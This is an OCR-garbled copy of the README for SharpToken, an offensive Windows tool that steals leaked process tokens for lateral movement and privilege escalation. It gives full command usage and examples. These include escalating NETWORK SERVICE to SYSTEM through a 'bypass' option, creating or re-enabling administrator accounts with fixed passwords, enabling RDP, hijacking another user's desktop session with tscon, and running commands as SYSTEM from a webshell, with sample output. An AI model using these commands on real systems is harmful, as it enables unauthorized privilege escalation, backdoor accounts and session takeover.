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During red team lateral movement, we often need to steal the permissions of other users. Under the defense of
modern EDR, it is difficult for us to use Mimikatz to obtain other user permissions, and if the target user has no

process alive, we have no way to use "OpenProcessToken" to steal Token.

SharpToken is a tool for exploiting Token leaks. It can find leaked Tokens from all processes in the system and use
them. If you are a low-privileged service user, you can even use it to upgrade to "NT AUTHORITY\SYSTEM"

privileges, and you can switch to the target user's desktop to do more without the target user's password. ..

:\¥indows\Systen32\¥indovsPorerShell\vl. O\povershell. exe
PS C:\> \SharpToken. exe

SharpToken By BeichenDream

SharpToken COMMAND arguments
HCOMMANDS :
list_token [process pid]
list_all_token [process pid]
add_user <username> <password> [group] [domain]
enableUser <username> <NewPassword> [NewGroup]
delete_user <username> [domain]
execute {tokenUser> <commandLine> [Interactiuve]
enableRDP
tscon <targetSessionId> [sourceSessionId]
example:
SharpToken list_token
SharpToken list_token 6543
SharpToken add_user admin Abcd1234! Administrators
SharpToken enableUser Guest Abcd1234! Administrators
SharpToken delete_user admin
SharpToken execute "NT AUTHORITYASYSTEM" “cmd /¢ whoami™
SharpToken execute "NT AUTHORITY\SYSTEM" cmd true

SharpToken tscon 1

PS C:\>

Usage

SharpToken By BeichenDream
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If you are an NT AUTHORITY\NETWORK SERVICE user then you just need to add the bypass parameter to become an NT /
e.g.

SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass

Usage:

SharpToken COMMAND arguments

COMMANDS :

list_token [process pid] [bypass]

list_all_token [process pid] [bypass]

add_user <username> <password> [group] [domain] [bypass]

enableUser <username> <NewPassword> [NewGroup] [bypass]

delete_user <username> [domain] [bypass]

execute <tokenUser> <commandLine> [Interactive] [bypass]

enableRDP [bypass]

tscon <targetSessionId> [sourceSessionId] [bypass]

example:
SharpToken list_token
SharpToken list_token bypass
SharpToken list_token 6543
SharpToken add_user admin Abcd1234! Administrators
SharpToken enableUser Guest Abcd1234! Administrators
SharpToken delete_user admin
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass
SharpToken execute "NT AUTHORITY\SYSTEM" cmd true
SharpToken execute "NT AUTHORITY\SYSTEM" cmd true bypass
SharpToken tscon 1
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Elevated Permissions

In addition to the usual Token stealing privilege enhancement, SharpToken also supports obtaining Tokens with

integrity through Bypass

If you are an NT AUTHORITY/NETWORK SERVICE user and you add the bypass parameter, SharpToken will
steal System from RPCSS, that is, unconditional NT AUTHORITY\ANETWORK SERVICE to NT
AUTHORITY\SYSTEM

Settings

@ Home About

Find a setting o Your PC is monitored and protected. This page has a few new settings
Some settings from Control Panel

See details in Windows Security have moved here, and you can copy
your PC info 5o it's easier to share.

System

Display Device specifications
) Related settings
Sound Device name 72211611
) Soun

Processor Intel(R) Xeon(R) Platinum 8374C CPU @ 2.70GHz Deuice bagaoer

270 GHz rator: CAWindows\system32\cmd.exe

Notifications & actions Installed RAM

Device ID
Product ID

Focus assist

Systemtype  64-bit operating system, x64-based processor

Power &sleep
Penandtouch  No pen or touch input s available for this display

Storage Cony

Tablet
Rename this PC
i Multitasking

Windows specifications
Projecting to this PC

Edition Windows Server 2022 Datacenter
Remote Desktop Version 21H2

Installed on 2/4/2022
About 05 build 20348859

Copy

Change product key or upgrade your edition of Windows

Read the Microsoft Services Agreement that applies to our services

Read the Microsoft Software License Terms

ListToken

Enumerated information includes SID, LogonDomain, UserName, Session, LogonType, TokenType, TokenHandle
(handle of Token after Duplicate), TargetProcessld (process from which Token originates), TargetProcessToken

(handle of Token in source process), Groups (group in which Token user is located)

SharpToken list_token
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: SID Ualue: $-1-5-21-2684884204-1683380983-1034380324-500
: LogonDomain Ualue: WIN-GUTGOURSFUUK
: UserName Ualue: WIN-GUTGURSFUUK\Administrator
: Session Ualue: 1
: LogonType Ualue: Interactive
: TokenType Ualue: TokenPrimary
: TokenHandle Ualue: 468
: TargetProcessld Ualue: 408
: TargetProcessToken Ualue: 368
ImpersonationLevel Ualue: Delegation
: AuthenticationType  Ualue: NTLM
: TargetProcessExePath Ualue:
: TokenElevationType  Ualue: TokenElevationTypeDefault
Integritylevel Ualue: HighIntegrity
FieldMame: IsRestricted Ualue: False
FieldName: TokenUIAccess Ualue: False
FieldName: Groups Ualue: WIN-GUTG@URSFUUK\None, Everyone, BUILTIN\Administrators, BUILTIN\Users, BUILTIN\Certificate Se|
FieldName: IsClose Ualue: False

FieldMame: $ID Ualue: 3-1-5-19
FieldMame: LogonDomain Ualue: NT AUTHORITY
FieldName: UserName Ualue: NT AUTHORITY\LOCAL SERUVICE
FieldMame: Session Ualue: @
: LogonType Ualue: Service
: TokenType Ualue: TokenPrimary
: TokenHandle Ualue: 520
: TargetProcessId Ualue: 468
: TargetProcessToken Ualue: 284
ImpersonationLevel  WUalue: Delegation
: AuthenticationType Ualue: Hegotiate
: TargetProcessExePath Ualue:
: TokenEZ!.euationTgpe Ualue: TokenEleuatic_:nTgpeDe'Fault ;
Integritylevel Ualue: Systemlntegrity
IsRestricted Ualue: False
: TokenUIAccess Ualue: False
: Groups Ualue: Everyone BUILTIN\Certificate Service DCOM Access,BUILTIN\Users, K NT AUTHORITY\SERVICE,
FieldMame: IsClose Ualue: False

Enumerate Tokens from the specified process

SharpToken list_token 468
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FieldName: SID Ualue: $-1-5-19

FieldName: LogonDomain Ualue: NT AUTHORITY

FieldMame: UserName Ualue: NT AUTHORITY\NLOCAL SERVICE
FieldMame: Session Ualue: B

FieldName: LogonType Ualue: Service

FieldName: TokenType Ualue: TokenPrimary

FieldName: TokenHandle Ualue: 468

I'ieldName: TargetProcessId Ualue: 468

FieldName: TaraetProcessToken  Ualue: 284

FieldName: ImpersonationLevel Ualue: Delegation

FieldName: AuthenticationType Ualue: Negotiate

FieldName: TargetProcessExePath Ualue:

FieldHame: TokenElevationType Ualue: TokenElevationTypeDefault
FieldName: Integrityleuvel Ualue: SystemIntegrity
FieldName: IsRestricted Ualue: False

FieldName: TokenUIAccess Ualue: False

FieldName: Groups Value: Everyone, BUILTIN\Certificate Service DCOM Access,BUILTIN\Users,NT AUTHORITYY
FieldName: IsClose Ualue: False

FieldName: SID Ualue: $-1-5-18

FieldName: LogonDomain Ualue: WORKGROUP
FieldMame: UserName Ualue: NT AUTHORITY\SYSTEM
FieldWMame: Session Ualue: B

FieldName: LogonType Value: UndefinedLogonType
FieldName: TokenType Ualue: TokenPrimary

FieldName: TokenHandle Ualue: 520

FfieldName: TargetProcessld Value: 468

FieldName: TargetProcessToken Ualue: 398

FieldName: ImpersonationLevel Ualue: Delegation

FieldName: AuthenticationType Ualue: NTLM

FieldName: TargetProcessExePath Ualue:

FieldHame: TokenElevationType Ualue: TokenElevationTypeDefault
FieldName: Integrityleuvel Ualue: SystemIntegrity
FieldName: IsRestricted Ualue: False

FieldName: TokenUIAccess Ualue: False

FieldName: Groups Value: Everyone,WIN-GUTOURSFUUK\SOLServerMSSOLServerADHelperUser$WIN-GUTOURSFUUK ,BU
FieldName: IsClose Ualue: False

FieldName: SID Ualue: $-1-5-20

FieldName: LogonDomain Ualue: WORKGROUP

FieldName: UserName Ualue: NT AUTHORITY\NETWORK SERVICE
FieldName: Session Ualue: O

FieldHame: LogonType Ualue: Service

FieldName: TokenType Ualue: TokenPrimary

FieldName: TokenHandle Ualue: 524

-1eldName: TargetProcessld Ualue: 468

“ieldName: TargetProcessToken Ualue: 428

FieldHame: ImpersonationLevel Ualue: Delegation
FieldName: AuthenticationType Ualue: Negotiate

FieldName: TargetProcessExePath Ualue:

FieldName: TokenElevationType VUalue: TokenElevationTypeDefault
FieldName: Integrityleuvel Ualue: SystemIntegrity

Get an interactive shell

execute "NT AUTHORITY\SYSTEM" cmd true
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B EMR: Yindows PowerShell
P$ C:\Users\Administrator\Desktop> .ASharpToken.exe execute "NT AUTHORITYASYSTEM™ cmd true
process start with pid 5060
Microsoft Windows 6.1.7601]
4 (c) 2009 rosoft Corporation.

C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>_

Get command execution results (executed under webshell)

SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"

HEMR: Yindows PowerShell

PS C:\Users\Administrator\Desktop> ./SharpToken execute "“NT AUTHORITY\SYSTEM" “cmd /¢ whoami™
process start with pid 3628

nt authority\system

PS C:\Users\Administrator\Desktop>

Create an admin user with the stolen token

SharpToken add_user admin Abcd1234! Administrators

Enable an admin user with the stolen token

SharpToken enableUser Guest Abcd1234! Administrators

Delete a user with a stolen Token

SharpToken delete_user admin

Use the stolen Token to switch to the target's desktop

Where 1 is the target user's desktop and 2 is the desktop we want to receive

SharpToken tscon 1 2

Page 6 of 7


https://user-images.githubusercontent.com/43266206/176751714-c7edb21c-f0be-4794-a14f-be4a7b1fdf61.png
https://user-images.githubusercontent.com/43266206/176751714-c7edb21c-f0be-4794-a14f-be4a7b1fdf61.png
https://user-images.githubusercontent.com/43266206/176751980-dd9413f4-1a4d-4cb0-8ba2-5e0b9ccb2eed.png
https://user-images.githubusercontent.com/43266206/176751980-dd9413f4-1a4d-4cb0-8ba2-5e0b9ccb2eed.png

https://github.com /BeichenDream /SharpToken

LICENSE

GNU General Public License

Reference

https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html

https://github.com/decoder-it/NetworkServiceExploit

https://github.com/FSecureLABS/incognito

https://github.com/chroblert/JCTokenUtil

Source: https://github.com/BeichenDream/SharpToken
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